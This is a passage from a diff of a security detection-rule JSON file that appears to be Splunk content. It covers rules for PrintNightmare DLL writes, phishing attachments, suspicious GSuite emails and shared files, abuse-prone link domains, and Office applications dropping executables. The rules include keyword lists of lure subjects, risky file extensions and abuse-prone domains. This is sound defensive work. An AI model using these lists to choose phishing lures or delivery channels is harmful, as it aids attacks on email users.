- }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "$process_name$ has been identified writing dll's to $file_path$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Spoolsv Writing a DLL - Sysmon", - "description": "The following analytic detects `spoolsv.exe` writing a `.dll` file, which is unusual behavior and may indicate exploitation of vulnerabilities like CVE-2021-34527 (PrintNightmare). This detection leverages Sysmon Event ID 11 to monitor file creation events in the `\\spool\\drivers\\x64\\` directory. This activity is significant because `spoolsv.exe` typically does not write DLL files, and such behavior could signify an ongoing attack. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence on the compromised system.", - "search": "`sysmon` EventID=11 process_name=spoolsv.exe file_path=\"*\\\\spool\\\\drivers\\\\x64\\\\*\" file_name=*.dll | stats count min(_time) as firstTime max(_time) as lastTime by dest, UserID, process_name, file_path, file_name, TargetFilename, process_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spoolsv_writing_a_dll___sysmon_filter`", - "tags": { - "analytic_story": [ - "PrintNightmare CVE-2021-34527" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "file_name", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "$process_name$ has been identified writing dll's to $file_path$ on endpoint $dest$. This behavior is suspicious and related to PrintNightmare.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1547.012", - "mitre_attack_technique": "Print Processors", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1547", - "mitre_attack_technique": "Boot or Logon Autostart Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -209039,4982 +163371,6 @@ "source_data_element": "network traffic flow", "relationship": "identified", "target_data_element": "network traffic volume" - }, - { - "name": "Suspicious Email Attachment Extensions", - "description": "The following analytic detects emails containing attachments with suspicious file extensions. It leverages the Email data model in Splunk, using the tstats command to identify emails where the attachment filename is not empty. This detection is significant for SOC analysts as it highlights potential phishing or malware delivery attempts, which are common vectors for data breaches and malware infections. If confirmed malicious, this activity could lead to unauthorized access to sensitive information, system compromise, or data exfiltration. Immediate review and analysis of the identified emails and attachments are crucial to mitigate these risks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Email where All_Email.file_name=\"*\" by All_Email.src_user, All_Email.file_name All_Email.message_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Email\")` | `suspicious_email_attachments` | `suspicious_email_attachment_extensions_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Emotet Malware DHS Report TA18-201A", - "Hermetic Wiper", - "Suspicious Emails" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "GSuite Email Suspicious Attachment", - "description": "The following analytic detects suspicious attachment file extensions in GSuite emails, potentially indicating a spear-phishing attack. It leverages GSuite Gmail logs to identify emails with attachments having file extensions commonly associated with malware, such as .exe, .bat, and .js. This activity is significant as these file types are often used to deliver malicious payloads, posing a risk of compromising targeted machines. If confirmed malicious, this could lead to unauthorized code execution, data breaches, or further network infiltration.", - "search": "`gsuite_gmail` \"attachment{}.file_extension_type\" IN (\"pl\", \"py\", \"rb\", \"sh\", \"bat\", \"exe\", \"dll\", \"cpl\", \"com\", \"js\", \"vbs\", \"ps1\", \"reg\",\"swf\", \"cmd\", \"go\") | eval phase=\"plan\" | eval severity=\"medium\" | stats count min(_time) as firstTime max(_time) as lastTime values(attachment{}.file_extension_type) as email_attachments, values(attachment{}.sha256) as attachment_sha256, values(payload_size) as payload_size by destination{}.service num_message_attachments subject destination{}.address source.address phase severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_email_suspicious_attachment_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "source.address", - "type": "Email Address", - "role": [ - "Attacker" - ] - }, - { - "name": "destination{}.address", - "type": "Email Address", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious email from $source.address$ to $destination{}.address$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Gsuite Email Suspicious Subject With Attachment", - "description": "The following analytic identifies Gsuite emails with suspicious subjects and attachments commonly used in spear phishing attacks. It leverages Gsuite email logs, focusing on specific keywords in the subject line and known malicious file types in attachments. This activity is significant for a SOC as spear phishing is a prevalent method for initial compromise, often leading to further malicious actions. If confirmed malicious, this activity could result in unauthorized access, data exfiltration, or further malware deployment, posing a significant risk to the organization's security.", - "search": "`gsuite_gmail` num_message_attachments > 0 subject IN (\"*dhl*\", \"* ups *\", \"*delivery*\", \"*parcel*\", \"*label*\", \"*invoice*\", \"*postal*\", \"* fedex *\", \"* usps *\", \"* express *\", \"*shipment*\", \"*Banking/Tax*\",\"*shipment*\", \"*new order*\") attachment{}.file_extension_type IN (\"doc\", \"docx\", \"xls\", \"xlsx\", \"ppt\", \"pptx\", \"pdf\", \"zip\", \"rar\", \"html\",\"htm\",\"hta\") | rex field=source.from_header_address \"[^@]+@(?[^@]+)\" | rex field=destination{}.address \"[^@]+@(?[^@]+)\" | where not source_domain=\"internal_test_email.com\" and dest_domain=\"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"medium\" | stats count min(_time) as firstTime max(_time) as lastTime values(attachment{}.file_extension_type) as email_attachments, values(attachment{}.sha256) as attachment_sha256, values(payload_size) as payload_size by destination{}.service num_message_attachments subject destination{}.address source.address phase severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_email_suspicious_subject_with_attachment_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "destination{}.address", - "type": "Email Address", - "role": [ - "Victim" - ] - }, - { - "name": "source.address", - "type": "Email Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious email from $source.address$ to $destination{}.address$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Gsuite Email With Known Abuse Web Service Link", - "description": "The following analytic detects emails in Gsuite containing links to known abuse web services such as Pastebin, Telegram, and Discord. It leverages Gsuite Gmail logs to identify emails with these specific domains in their links. This activity is significant because these services are commonly used by attackers to deliver malicious payloads. If confirmed malicious, this could lead to the delivery of malware, phishing attacks, or other harmful activities, potentially compromising sensitive information or systems within the organization.", - "search": "`gsuite_gmail` \"link_domain{}\" IN (\"*pastebin.com*\", \"*discord*\", \"*telegram*\",\"t.me\") | rex field=source.from_header_address \"[^@]+@(?[^@]+)\" | rex field=destination{}.address \"[^@]+@(?[^@]+)\" | where not source_domain=\"internal_test_email.com\" and dest_domain=\"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"low\" |stats values(link_domain{}) as link_domains min(_time) as firstTime max(_time) as lastTime count by is_spam source.address source.from_header_address subject destination{}.address phase severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_email_with_known_abuse_web_service_link_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "destination{}.address", - "type": "Email Address", - "role": [ - "Victim" - ] - }, - { - "name": "source.address", - "type": "Email Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious email from $source.address$ to $destination{}.address$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Gsuite Suspicious Shared File Name", - "description": "The following analytic detects shared files in Google Drive with suspicious filenames commonly used in spear phishing campaigns. It leverages GSuite Drive logs to identify documents with titles that include keywords like \"dhl,\" \"ups,\" \"invoice,\" and \"shipment.\" This activity is significant because such filenames are often used to lure users into opening malicious documents or clicking harmful links. If confirmed malicious, this activity could lead to unauthorized access, data theft, or further compromise of the user's system.", - "search": "`gsuite_drive` parameters.owner_is_team_drive=false \"parameters.doc_title\" IN (\"*dhl*\", \"* ups *\", \"*delivery*\", \"*parcel*\", \"*label*\", \"*invoice*\", \"*postal*\", \"*fedex*\", \"* usps *\", \"* express *\", \"*shipment*\", \"*Banking/Tax*\",\"*shipment*\", \"*new order*\") parameters.doc_type IN (\"document\",\"pdf\", \"msexcel\", \"msword\", \"spreadsheet\", \"presentation\") | rex field=parameters.owner \"[^@]+@(?[^@]+)\" | rex field=parameters.target_user \"[^@]+@(?[^@]+)\" | where not source_domain=\"internal_test_email.com\" and dest_domain=\"internal_test_email.com\" | eval phase=\"plan\" | eval severity=\"low\" | stats count min(_time) as firstTime max(_time) as lastTime by email parameters.owner parameters.target_user parameters.doc_title parameters.doc_type phase severity | rename parameters.target_user AS user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `gsuite_suspicious_shared_file_name_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "GSuite", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "parameters.owner", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "email", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "suspicious share gdrive from $parameters.owner$ to $email$ namely as $parameters.doc_title$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Detect Outlook exe writing a zip file", - "description": "The following analytic identifies the execution of `outlook.exe` writing a `.zip` file to the disk. It leverages data from the Endpoint data model, specifically monitoring process and filesystem activities. This behavior is significant as it may indicate the use of Outlook to deliver malicious payloads or exfiltrate data via compressed files. If confirmed malicious, this activity could lead to unauthorized data access, data exfiltration, or the delivery of malware, potentially compromising the security of the affected system and network.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.process_name=outlook.exe by _time span=5m Processes.parent_process_id Processes.process_id Processes.dest Processes.process_name Processes.parent_process_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename process_id as malicious_id| rename parent_process_id as outlook_id| join malicious_id type=inner[| tstats `security_content_summariesonly` count values(Filesystem.file_path) as file_path values(Filesystem.file_name) as file_name FROM datamodel=Endpoint.Filesystem where (Filesystem.file_path=*.zip* OR Filesystem.file_name=*.lnk ) AND (Filesystem.file_path=C:\\\\Users* OR Filesystem.file_path=*Local\\\\Temp*) by _time span=5m Filesystem.process_id Filesystem.file_hash Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename process_id as malicious_id| fields malicious_id outlook_id dest file_path file_name file_hash count file_id] | table firstTime lastTime user malicious_id outlook_id process_name parent_process_name file_name file_path | where file_name != \"\" | `detect_outlook_exe_writing_a_zip_file_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "Remcos", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "MSHTML Module Load in Office Product", - "description": "The following analytic detects the loading of the mshtml.dll module into an Office product, which is indicative of CVE-2021-40444 exploitation. It leverages Sysmon EventID 7 to monitor image loads by specific Office processes. This activity is significant because it can indicate an attempt to exploit a vulnerability in the MSHTML component via a malicious document. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further network penetration.", - "search": "`sysmon` EventID=7 process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"wordpad.exe\",\"wordview.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\",\"Graph.exe\",\"winproj.exe\") loaded_file_path IN (\"*\\\\mshtml.dll\", \"*\\\\Microsoft.mshtml.dll\",\"*\\\\IE.Interop.MSHTML.dll\",\"*\\\\MshtmlDac.dll\",\"*\\\\MshtmlDed.dll\",\"*\\\\MshtmlDer.dll\") | stats count min(_time) as firstTime max(_time) as lastTime by user_id, dest, process_name, loaded_file, loaded_file_path, original_file_name, process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `mshtml_module_load_in_office_product_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ loading mshtml.dll.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Application Drop Executable", - "description": "The following analytic detects Microsoft Office applications dropping or creating executables or scripts on a Windows OS. It leverages process creation and file system events from the Endpoint data model to identify Office applications like Word or Excel generating files with extensions such as .exe, .dll, or .ps1. This behavior is significant as it is often associated with spear-phishing attacks where malicious files are dropped to compromise the host. If confirmed malicious, this activity could lead to code execution, privilege escalation, or persistent access, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"wordpad.exe\",\"wordview.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") by _time span=1h Processes.process_id Processes.process_name Processes.process Processes.dest Processes.process_guid | `drop_dm_object_name(Processes)` |join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name IN (\"*.exe\",\"*.dll\",\"*.pif\",\"*.scr\",\"*.js\",\"*.vbs\",\"*.vbe\",\"*.ps1\") by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process process_guid] | dedup file_create_time | table dest, process_name, process, file_create_time, file_name, file_path, process_guid | `office_application_drop_executable_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "CVE-2023-21716 Word RTF Heap Corruption", - "FIN7", - "PlugX", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "process $process_name$ drops a file $file_name$ in host $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Application Spawn Regsvr32 process", - "description": "The following analytic identifies instances where an Office application spawns a Regsvr32 process, which is often indicative of macro execution or malicious code. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is a known Office application. This activity is significant because it is a common technique used by malware, such as IcedID, to initiate 